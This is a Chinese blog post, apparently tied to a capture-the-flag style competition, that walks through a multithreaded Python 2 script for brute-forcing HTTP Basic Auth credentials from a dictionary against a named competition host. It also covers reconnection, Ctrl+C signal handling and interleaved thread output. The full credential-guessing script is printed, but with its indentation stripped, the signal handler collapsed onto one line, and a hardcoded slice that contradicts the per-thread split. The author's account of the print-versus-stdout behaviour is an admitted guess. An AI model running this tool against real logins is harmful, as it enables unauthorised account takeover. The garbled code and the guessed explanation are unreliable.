您的位置:首页 > 编程语言 > Python开发

python 多线程服务器验证,实现断开重连,信号量解决主线程Ctrl+C不退出问题,多线程打印错行问题

2013-11-13 19:08 856 查看
最近在做一个比赛
有道题给了一个字典,user和pass都在字典中
服务器没有验证码
摆明了要用脚本跑username和password
顺便把以前想实现的给实现了。。
人生啊,不要拖拖拉拉




零、遇到的问题:

1、脚本跑着跑着就断线了,怎么重连呢?

2、主线程按Ctrl+C,不能退出

3、多线程打印错行,不能老实的一行一行地打印

一、脚本跑着跑着就断线了,怎么重连呢?

把多线程中的调用函数如def login()加一个try except,在except中重新调用login()即可

为了更加人性化,加入了两个标记变量i和j(也就是start_user和start_pass),标记从i和j处重新跑



二、主线程按Ctrl+C,不能退出

这个Ctrl+C比较棘手,参考文章:http://my.oschina.net/apoptosis/blog/125099

主要用信号量的方法,分6个小步骤来解决就好了:

1、

定义一个全局变量:is_exit = False

2、

定义一个处理变量的函数:

def handler(signum,frame):
global is_exit
is_exit = True
tstr = "receive a signal %d,is_exit = %d \n" % (signum,is_exit)
sys.stdout.write(tstr)
3、

在main函数中注册信号捕捉函数:

#修改is_exit信号,让子线程也能接受Ctrl+C
#用函数signal注册一个信号捕捉函数,捕捉到后交给handle去处理
signal.signal(signal.SIGINT,handler)
signal.signal(signal.SIGTERM,handler)




4、
在子线程函数,本例子中是login(),添加处理信号变更的处理:

#修改全局变量,接受到Ctrl+C,is_exit就会变成True,就会退出
if is_exit:
tstr = "thread"+str(index)+", receive a signal to exit...\n"
sys.stdout.write(tstr)
return




 

5、

将子线程设置为后台运行

tmpth = threading.Thread(target = login,args=(i,0,0,))
tmpth.setDaemon(True)

6、
修改tmpth.join()

为自定义的等待代码:

#for i in range(th_num):
# ths[i].join()

while True:
alive = False
for i in range(th_num):
alive = alive or ths[i].isAlive()
if not alive:
break

实际上结果是良好的:



三、多线程打印错行,不能老实的一行一行地打印

错行的效果如下:



看到没有,都不能老老实实得在一行行来吗?
然后在CSDN发帖子询问,得知要用:
sys.stdout.write(str+'\n') 
代替:
print str
好吧,效果果然很不错,可以参照上上图(不是上图,我不是大舌头)
那么,为什么呢?

python shell 下help(print) ,它说print是输出到sys.stdout 中,也是调用write

一样的函数,不一样的效果,我怀疑是print没有维护一个buffer,而sys.stdout.write的时候有维护,导致了

前者竞争输出,后者有个缓冲区导致输出很规整。(以上纯属猜想,因为py文档英文也看不懂,网上也没有好资料,实验也不好做。。)

四、所有的代码

本来py就是强调精短,而我却弄这么多。。
好吧,难道我会告诉你其实如果不考虑:
多线程,print,Ctrl+C,重连
我的代码会很短吗?

# -*- coding: cp936 -*-
import urllib
import httplib
import base64
import threading
import sys,os,time,signal

#导入dic字典
f = open('youcanfindit.dic','r')
dic = []
while True:
t = f.readline()
if not t:
break
dic.append(t.strip('\n'))
f.close()

#只需要输入th线程数量,程序自动配置后每个线程的case数
#比如某些高富帅的线程可以设置为100,我的最高只能40,否则内存就不够用了。。
#这里强调,不是线程越多越快,线程多,只是说开始办事的人很多,每个人平摊下来任务少了,没说任务效率变快
#请考虑py的调度,每个时刻只有一个线程在运行,调度的时间大大增多,这是个综合考虑的问题
th_num = 10
dic_len = len(dic)
case_in_th_num = dic_len/th_num
case_in_last_th_num = dic_len - th_num * case_in_th_num

#响应Ctrl+C
is_exit = False
def handler(signum,frame): global is_exit is_exit = True tstr = "receive a signal %d,is_exit = %d \n" % (signum,is_exit) sys.stdout.write(tstr)

#支持断线重连,start_user 和 start_pass 标记了user和pass重连的位置
def login(index,start_user,start_pass):
global is_exit

if index == th_num-1:
name = dic[case_in_th_num*index:case_in_th_num*index+case_in_last_th_num]
else:
name = dic[100*index:100*index+100]
for i in range(start_user,len(name)):
for j in range(len(dic)):
#修改全局变量,接受到Ctrl+C,is_exit就会变成True,就会退出
if is_exit:
tstr = "thread"+str(index)+", receive a signal to exit...\n"
sys.stdout.write(tstr)
return

#记录断线的i(user)和j(pass),从i重新跑一遍,j依赖于i
if i == start_user:
if j < start_pass:
continue

name_pass = base64.b64encode(name[i]+':'+dic[j])
headers = {
'Host': 'wocao.ismilent.com',
'Connection': 'keep-alive',
'Cache-Control':'max-age=0',
'Authorization' : 'Basic '+name_pass,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36',
'Accept-Encoding': 'gzip,deflate,sdch',
'Accept-Language': 'zh-CN,zh;q=0.8'
}
try:
conn = httplib.HTTPConnection('wocao.ismilent.com',80)
conn.request('GET','',None,headers)
res = conn.getresponse()
tstr = str(index)+","+str(i)+":"+str(j)+"--"+name[i]+":"+dic[j]+"\n"
sys.stdout.write(tstr)

if res.reason != 'Unauthorized':
print res
out = open('out.txt','w')
out.write(name[i]+":"+dic[j])
out.close()
print name[i],dic[j],'!!!!!!!!!!!!!Success!!!Finished...!!!!!!!!!!!!!'
exit(-2)
except:
#断线重连,记录i,j
#这里注意如果获取到了name和pass,那么会进去if res.reason != 'Unauthorized':中
#然后弹出个框框问你是否要结束,如果点击否,会触发异常
#进入这里的login,那么i,j又是原来的那个正确的user pass 又会问你是否退出,以下循环!
#这不是bug!!!
tstr = "reconnecting..."+str(i)+":"+str(j)+"\n"
sys.stdout.write(tstr)
#login(index,i,j)

if __name__ == '__main__':
#修改is_exit信号,让子线程也能接受Ctrl+C
signal.signal(signal.SIGINT,handler)
signal.signal(signal.SIGTERM,handler)

ths = []
for i in range(th_num):
print 'threading '+str(i)
tmpth = threading.Thread(target = login,args=(i,0,0,))
tmpth.setDaemon(True)
ths.append(tmpth)
tmpth.start()

#for i in range(th_num):
# ths[i].join()

while True:
alive = False
for i in range(th_num):
alive = alive or ths[i].isAlive()
if not alive:
break

print '!!!!!!!!!!Sorry,find nothing,finished!!!!!!!!!'
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
相关文章推荐